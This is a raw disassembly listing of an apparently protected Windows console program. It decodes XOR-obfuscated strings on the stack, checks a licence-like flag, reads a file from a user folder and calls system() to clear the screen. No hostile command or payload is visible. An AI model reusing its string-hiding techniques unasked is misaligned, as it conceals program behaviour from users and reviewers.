movabs rax, 0xcc80da4affefbf83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0xab97bf8fcd938e41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0xe2cc9729733c8197
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0xbb1113496ee64cbe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1280], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1288], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1290], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1298], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
vmovdqu ymm0, ymmword [rbp + 0x440]
vpxor ymm1, ymm0, ymmword [rbp + 0x1280]
vmovdqa ymmword [rbp + 0x440], ymm1
vmovdqa xmm0, xmmword [rbp + 0x460]
vpxor xmm0, xmm0, xmmword [rbp + 0x12a0]
vmovdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x440]
vzeroupper
call fcn.140001c20
lea rcx, [0x140293b90]
call fcn.1400af500
cmp byte [0x140293da0], 0
jne 0x14009128f
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Internal_server_error_404.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x550], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x540]
call fcn.140002370
lea rcx, [rbp + 0x540]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x530], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x520]
call fcn.140002370
lea rcx, [rbp + 0x520]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xfe579848ee939f55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x1110]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4d0], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x4c0]
call fcn.140002370
lea rcx, [rbp + 0x4c0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4f0], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x4e0]
call fcn.140002370
lea rcx, [rbp + 0x4e0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x8a34fd2680fcdc5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x1178f9c52b23882d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x10f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x10f8], rax
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
call fcn.140001c20
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1610]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd78], xmm1
lea rax, [rbp + 0x1610]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400915d1
lea rdx, [rbp + 0x1610]
lea rcx, [rbp + 0xd68]
call fcn.140002370
nop
movabs rax, 0x9124f73a8dfad227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x630d9aa0785e982e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xa29bcb4ab2f3a584
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rcx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x13e0]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rax, [rbp + 0x200]
vzeroupper
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400916c0
mov r8, rsi
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xd68]
call fcn.140015d60
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x8f0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xd68]
cmp qword [rbp + 0xd80], 0x10
cmovae rdx, qword [rbp + 0xd68]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rcx, [rbp + 0x8f0]
call fcn.140004590
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x8f0], rax
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x8ec], edx
xorps xmm0, xmm0
movups xmmword [rbp + 0xda8], xmm0
mov qword [rbp + 0xdb8], r12
mov qword [rbp + 0xdc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xda8], 0
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
movabs rsi, 0x663f067fd21a4e26
movabs r14, 0x7a81a6226e4af031
cmp dword [rbp + rcx + 0x900], 0
jne 0x140091bc8
cmp qword [rbp + 0x980], 0
je 0x14009188f
lea rax, [rbp + 0x8f0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0x8f0]
call fcn.140003e50
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x14009185c
nop
lea rdx, [rbp + 0xda8]
cmp qword [rbp + 0xdc0], 0x10
cmovae rdx, qword [rbp + 0xda8]
mov r8, qword [rbp + 0xdb8]
lea rcx, [rbp + 0xd88]
call fcn.140015e70
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8f0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0x8f0]
call fcn.140003e50
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x1400917f0
lea rcx, [rbp + 0x900]
call fcn.140066da0
test rax, rax
jne 0x14009188f
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x900]
call fcn.140066da0
test rax, rax
jne 0x1400918c2
mov rax, qword [rbp + 0x8f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov edx, 7
lea rcx, [rbp + 0x6f0]
call fcn.140066e90
lea rcx, [rbp + 0x6f0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs r12, 0xfe579848ee939f7b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x6d0]
call fcn.140066e90
lea rcx, [rbp + 0x6d0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xfe579848ee939f55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11b8], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x6b0]
call fcn.140066e90
lea rcx, [rbp + 0x6b0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1270], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1278], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x690]
call fcn.140066e90
lea rcx, [rbp + 0x690]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x911bb8279ae6de5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x301690e54f678b2f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs r8, 0xa2efb33e9c8ad1ed
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rdx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x14b0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x14b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x14a0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
lea rdx, [rbp + 0x2c0]
vzeroupper
call fcn.140001c20
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xfe579848eee0f318
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
pxor xmm0, xmmword [rbp + 0x1260]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140092424
movabs rax, 0xfe579848eee0f318
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs r12, 0xfe579848ee939f7b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1250], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1258], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x1250]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xfe22982beef69f28
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0x1101f9b12b6bec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0xa280b34e9cd9d1cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0xdfc5d79ea482ae5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs r9, 0x87bae54c001ce4ff
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs r8, 0xbb1113496ee66dcc
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rdx, 0xa2efb33e9c8ad1ed
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x12d0], rax
movabs rcx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x12d8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x12c0]
vmovdqa ymmword [rbp + 0x480], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4a0]
vpxor xmm0, xmm0, xmmword [rbp + 0x12e0]
vmovdqa xmmword [rbp + 0x4a0], xmm0
movabs rax, 0xfe24983aeefa9f3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x1111f9b12b22ec3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xa283b31e9cefd180
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xdfded79ca483ae5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0x87d3e56c007be491
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xbb74132d6ec66da2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x7af5a6416e2ff045
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x661f0653d27e4e43
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xabf4f16583201493
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x3cb5453db67ffa03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xcf44b473245af25b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xa7b7eebca8cdf1ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xb81e13675cedc4f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x35fd98a4d3d59531
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x747a0efb0e6e9c4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x3011fb77d2fec93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
movabs rax, 0xab95f100834c14e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
movabs rax, 0x3cd0451db61afa70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
movabs rax, 0xcf36b416242ef235
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1450], rax
movabs rax, 0xa7c2eed3a8b4f19a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1458], rax
movabs rax, 0xb86c13045ccdc487
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
movabs rax, 0x359398c1d3b19554
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs rax, 0x74160e9a0e079c39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs rax, 0x3011fb77d2d0c94e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x380], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1420]
vmovdqa ymmword [rbp + 0x3a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1440]
vmovdqa ymmword [rbp + 0x3c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1460]
vmovdqa ymmword [rbp + 0x3e0], ymm1
movabs rax, 0xa932f4279dfdf038
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x7014bab244668221
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xa2efb33e9c8aa29e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x2a0], ymm1
xor edx, edx
lea rcx, [rbp + 0x2a0]
vzeroupper
call qword [sym.imp.USER32.dll_FindWindowA]
xor r9d, r9d
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x380]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxW]
mov edx, 7
lea rcx, [rbp + 0x7b0]
call fcn.140066e90
lea rcx, [rbp + 0x7b0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x1240]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x650]
call fcn.140066e90
lea rcx, [rbp + 0x650]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xfe579848ee939f55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0x1200]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x630]
call fcn.140066e90
lea rcx, [rbp + 0x630]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11f8], rax
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x8c0]
call fcn.140066e90
lea rcx, [rbp + 0x8c0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x9277ea2d9afdda5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x7a589cb645678f21
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xa2efb31ea6aaa888
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rdx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x14f8], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x14e0]
vmovdqa ymmword [rbp + 0x280], ymm1
lea rdx, [rbp + 0x280]
vzeroupper
call fcn.140001c20
lea rdx, [rbp + 0xd88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001a30
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xd88]
lea rcx, [rbp + 0x860]
call fcn.140004bc0
mov rdx, rax
lea rcx, [0x140293b90]
call fcn.1400b0ef0
cmp byte [0x140293da0], 0
jne 0x140092a31
mov edx, 7
lea rcx, [rbp + 0x8a0]
call fcn.140066e90
lea rcx, [rbp + 0x8a0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x880]
call fcn.140066e90
lea rcx, [rbp + 0x880]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xfe579848ee939f55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r13
mov rax, qword [rbp]
